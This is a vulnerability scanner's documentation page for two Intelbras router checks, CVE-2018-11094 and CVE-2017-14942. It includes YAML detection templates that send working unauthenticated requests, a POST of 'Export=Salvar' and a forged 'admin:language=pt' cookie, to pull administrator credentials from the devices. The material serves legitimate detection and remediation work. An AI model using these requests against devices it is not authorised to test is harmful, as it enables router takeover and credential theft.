Intelbras — 2 vulnerability checks
noctis ships 2 vulnerability checks for Intelbras, covering 2 CVEs; each one has to observe the bug on the live service before it reports a finding.
← All products · Feeds on GitHub
Intelbras NCLOUD 300 — Authentication Bypass / Admin Credential Disclosure
| CVE | CVE-2018-11094 |
|---|---|
| Severity | critical · CVSS 9.8 |
| Category | auth-bypass — Auth bypass |
| Services | http, https |
| Detection | set_var, http_request, match, script · highest QoD 75 |
| Feed | tests/vulnerabilities/intelbras/CVE-2018-11094.yaml |
Intelbras NCLOUD 300 devices (all firmware versions) do not require authentication for several CGI scripts. An unauthenticated POST of "Export=Salvar" to /cgi-bin/ExportSettings.sh returns the device settings export, including the administrator user name and password, which give full control of the web UI and the Telnet shell.
How noctis detects it
- HTTP(S) request
POST /cgi-bin/ExportSettings.shwith a crafted body - Checks
exp.bodyfor(?m)^Login=([^\r\n]+)\r?\nPassword=([^\r\n]*) - Parses / computes the next value with a Rhai script
- Checks
verdict.kindfor^leak$→ finding QoD 75: Authentication bypass confirmed: an unauthenticated POST of 'Export=Salvar' to /cgi-bin/ExportSettings.sh returned HTTP 200 with the NCLOUD…
References:
Feed source — tests/vulnerabilities/intelbras/CVE-2018-11094.yaml
# Intelbras NCLOUD 300 — unauthenticated settings export (CVE-2018-11094)
#
# Detection ported from OpenVAS/Greenbone NASL
# 2018/intelbras/gb_ncloud300_router_auth_bypass_vuln.nasl (GPL-2.0-only),
# request shape cross-checked with the public exploit (exploit-db 44637).
#
# The NCLOUD 300 web UI is protected by HTTP Basic authentication, but several
# CGI scripts skip the check. /cgi-bin/ExportSettings.sh, called with the POST
# body "Export=Salvar" (the "Save" button of the backup page), returns the
# settings export, which holds the administrator account as consecutive
# "Login=<user>" / "Password=<password>" lines. Those credentials also open
# the device's Telnet shell.
#
# Real-exploitation proof (read-only): the protected settings export, with the
# admin credential pair, is returned to a request carrying no credentials. The
# finding keys on that content, not on a status code or product banner.
#
# Differences from the NASL:
# - CRLF line endings are accepted between the Login= and Password= lines
# (the NASL only matches a bare "\n").
# - An empty administrator password still counts as a disclosure (the NASL
# needs at least one character after "Password="): the export was still
# served without authentication.
# - The leaked password is never copied into the finding: the match step that
# reads it stores its captures only, and the evidence gives the admin user
# name and the password length.
uid: 6efefd50-f8b5-4655-88f9-4e592ac5849b
name: "Intelbras NCLOUD 300 — Authentication Bypass / Admin Credential Disclosure (CVE-2018-11094)"
description: |
Intelbras NCLOUD 300 devices (all firmware versions) do not require
authentication for several CGI scripts. An unauthenticated POST of
"Export=Salvar" to /cgi-bin/ExportSettings.sh returns the device settings
export, including the administrator user name and password, which give full
control of the web UI and the Telnet shell.
cves: [CVE-2018-11094]
cvss: 9.8
severity: critical
confidence_base: 0.30
category: auth-bypass
tags: [intelbras, ncloud, router, nas, iot, auth-bypass, credential-disclosure]
services: [http, https]
author: noctis
version: "1.0.0"
references:
- "https://nvd.nist.gov/vuln/detail/CVE-2018-11094"
- "https://www.exploit-db.com/exploits/44637"
- "OpenVAS/Greenbone NASL 2018/intelbras/gb_ncloud300_router_auth_bypass_vuln.nasl (GPL-2.0-only)"
steps:
# Pre-initialise the stored result: if the request fails, store_as is never
# set and the script below would abort on an undefined variable.
- id: init-exp
action: set_var
var_name: exp
var_value: false
# Exact NASL request: POST /cgi-bin/ExportSettings.sh, body Export=Salvar,
# no credentials.
- id: export-probe
action: http_request
method: POST
port: "{{port}}"
path: "/cgi-bin/ExportSettings.sh"
headers:
Content-Type: "application/x-www-form-urlencoded"
body: "Export=Salvar"
follow_redirects: false
tls_insecure: true
store_as: exp
# Read the admin credential pair. No on_match: a match step copies its whole
# source into a finding, and this source holds the leaked password. Only the
# captures are stored and the verdict below never copies the password.
- id: read-creds
action: match
source: exp.body
pattern: "(?m)^Login=([^\\r\\n]+)\\r?\\nPassword=([^\\r\\n]*)"
store_as: creds
- id: analyse
action: script
store_as: verdict
code: |
let leaked = type_of(exp) == "map" && exp.status == 200
&& type_of(creds) == "map" && creds.matched && creds.captures.len() > 1;
let user = "";
let plen = 0;
if leaked {
user = creds.captures[0];
plen = creds.captures[1].len();
}
#{ kind: if leaked { "leak" } else { "none" }, user: user, plen: plen }
- id: confirm-leak
action: match
source: verdict.kind
pattern: "^leak$"
on_match:
finding:
confidence_delta: 0.50
qod: 75
remediation: "Intelbras has not released a fix for CVE-2018-11094: replace the device or keep its web interface off untrusted networks, and change the administrator password, which must be considered disclosed (it also opens the Telnet shell)."
evidence: "Authentication bypass confirmed: an unauthenticated POST of 'Export=Salvar' to /cgi-bin/ExportSettings.sh returned HTTP 200 with the NCLOUD 300 settings export, including the administrator account (Login='{{verdict.user}}', Password=<{{verdict.plen}} characters, not copied>)."
stop: trueIntelbras Roteador Wireless N WRN — Cookie Authentication Bypass
| CVE | CVE-2017-14942 |
|---|---|
| Severity | critical · CVSS 9.8 |
| Category | auth-bypass — Auth bypass |
| Services | http, https |
| Detection | set_var, http_request, script, match · highest QoD 75 |
| Feed | tests/vulnerabilities/intelbras/CVE-2017-14942.yaml |
Intelbras Roteador Wireless N WRN devices (WRN 150 firmware 1.0.1, N-WRN 300 and likely other models) do not check credentials properly: any request with the cookie "admin:language=pt" is treated as an authenticated administrator. An unauthenticated attacker can download /cgi-bin/DownloadCfg/RouterCfm.cfg, which contains the admin user name and password, and take over the router.
How noctis detects it
- HTTP(S) request
GET /cgi-bin/DownloadCfg/RouterCfm.cfg - HTTP(S) request
GET /cgi-bin/DownloadCfg/RouterCfm.cfg - Parses / computes the next value with a Rhai script
- Checks
verdict.kindfor^bypass$→ finding QoD 75: Authentication bypass confirmed: GET /cgi-bin/DownloadCfg/RouterCfm.cfg without a cookie did not return the configuration (HTTP …), but wit… - Checks
verdict.kindfor^open$→ finding QoD 75: Unauthenticated configuration download: /cgi-bin/DownloadCfg/RouterCfm.cfg returned the Intelbras router configuration backup with and with…
References:
Feed source — tests/vulnerabilities/intelbras/CVE-2017-14942.yaml
# Intelbras Roteador Wireless N WRN — cookie authentication bypass (CVE-2017-14942)
#
# Detection ported from OpenVAS/Greenbone NASL
# 2017/gb_intelbras_roteador_wireless_wrn150_auth_bypass_vuln.nasl (GPL-2.0-only).
#
# The Intelbras WRN 150 / N-WRN 300 web server (Tenda-derived httpd) treats any
# request carrying the cookie "admin:language=pt" as an authenticated admin
# session. Sending it to /cgi-bin/DownloadCfg/RouterCfm.cfg downloads the full
# router configuration, including the web admin credentials (http_username /
# http_passwd) and the WPS PIN.
#
# Real-exploitation proof (read-only): the configuration backup — protected
# content only an administrator can download — is returned when the forged
# cookie is presented. The finding keys on the config markers the NASL checks,
# not on a status code or product banner.
#
# Improvements over the NASL:
# - Differential control request without the cookie. When the device refuses
# it (login redirect) but serves the config with the forged cookie, the
# evidence states that the cookie itself is what bypasses authentication.
# When the config is served even without the cookie, the finding still fires
# (the credentials are disclosed either way) and says so.
# - The NASL required all six markers verbatim. wps_device_pin= and
# wl_version= are absent on firmwares with WPS / the wireless block disabled,
# so this feed requires the vendor marker, the admin credential keys and one
# of lan_gateway= / wl_version= / wps_device_pin= — fewer false negatives,
# still specific to an Intelbras router configuration.
# - The admin user name is quoted as evidence; the password is never copied.
uid: 58c67755-096b-4372-b234-d9140b885cea
name: "Intelbras Roteador Wireless N WRN — Cookie Authentication Bypass (CVE-2017-14942)"
description: |
Intelbras Roteador Wireless N WRN devices (WRN 150 firmware 1.0.1, N-WRN 300
and likely other models) do not check credentials properly: any request with
the cookie "admin:language=pt" is treated as an authenticated administrator.
An unauthenticated attacker can download /cgi-bin/DownloadCfg/RouterCfm.cfg,
which contains the admin user name and password, and take over the router.
cves: [CVE-2017-14942]
cvss: 9.8
severity: critical
confidence_base: 0.30
category: auth-bypass
tags: [intelbras, router, iot, auth-bypass, credential-disclosure]
services: [http, https]
author: noctis
version: "1.0.0"
references:
- "https://nvd.nist.gov/vuln/detail/CVE-2017-14942"
- "https://www.exploit-db.com/exploits/42916"
- "OpenVAS/Greenbone NASL 2017/gb_intelbras_roteador_wireless_wrn150_auth_bypass_vuln.nasl (GPL-2.0-only)"
steps:
# Pre-initialise both stored results: if a request fails, store_as is never
# set and the script below would abort on an undefined variable.
- id: init-ctl
action: set_var
var_name: ctl
var_value: false
- id: init-cfg
action: set_var
var_name: cfg
var_value: false
# Control request — no cookie. A vulnerable device redirects to the login
# page here; only the forged cookie unlocks the download.
- id: control-probe
action: http_request
method: GET
port: "{{port}}"
path: "/cgi-bin/DownloadCfg/RouterCfm.cfg"
follow_redirects: false
tls_insecure: true
store_as: ctl
# Exploit request — exact NASL request: same URL, Cookie: admin:language=pt.
- id: bypass-probe
action: http_request
method: GET
port: "{{port}}"
path: "/cgi-bin/DownloadCfg/RouterCfm.cfg"
headers:
Cookie: "admin:language=pt"
follow_redirects: false
tls_insecure: true
store_as: cfg
# Decide whether a real Intelbras configuration backup came back, and whether
# the control request was refused (cookie bypass) or also leaked (open).
- id: analyse
action: script
store_as: verdict
code: |
fn is_config(r) {
if type_of(r) != "map" || r.status != 200 || type_of(r.body) != "string" { return false; }
let b = r.body;
b.contains("wps_device_name=INTELBRAS")
&& b.contains("http_username=")
&& b.contains("http_passwd=")
&& (b.contains("lan_gateway=") || b.contains("wl_version=") || b.contains("wps_device_pin="))
}
let leaked = is_config(cfg);
let open = is_config(ctl);
let user = "";
if leaked {
let m = eregmatch("(?m)^http_username=([^\r\n]*)", cfg.body);
if type_of(m) == "array" && m.len() > 1 { user = m[1]; }
}
let ctl_status = if type_of(ctl) == "map" { ctl.status.to_string() } else { "no response" };
let kind = if !leaked { "none" } else if open { "open" } else { "bypass" };
#{ kind: kind, user: user, ctl_status: ctl_status }
- id: confirm-bypass
action: match
source: verdict.kind
pattern: "^bypass$"
on_match:
finding:
confidence_delta: 0.50
qod: 75
remediation: "Update the router firmware to a release that fixes CVE-2017-14942 (or replace the end-of-life device), restrict the management interface to the LAN, and change the admin password, which must be considered disclosed."
evidence: "Authentication bypass confirmed: GET /cgi-bin/DownloadCfg/RouterCfm.cfg without a cookie did not return the configuration (HTTP {{verdict.ctl_status}}), but with the forged cookie 'admin:language=pt' it returned the Intelbras router configuration backup (wps_device_name=INTELBRAS..., http_username/http_passwd present; admin user '{{verdict.user}}', password not copied)."
stop: true
- id: confirm-open
action: match
source: verdict.kind
pattern: "^open$"
on_match:
finding:
confidence_delta: 0.50
qod: 75
remediation: "Update the router firmware to a release that fixes CVE-2017-14942 (or replace the end-of-life device), restrict the management interface to the LAN, and change the admin password, which must be considered disclosed."
evidence: "Unauthenticated configuration download: /cgi-bin/DownloadCfg/RouterCfm.cfg returned the Intelbras router configuration backup with and without the 'admin:language=pt' cookie (http_username/http_passwd present; admin user '{{verdict.user}}', password not copied)."
stop: true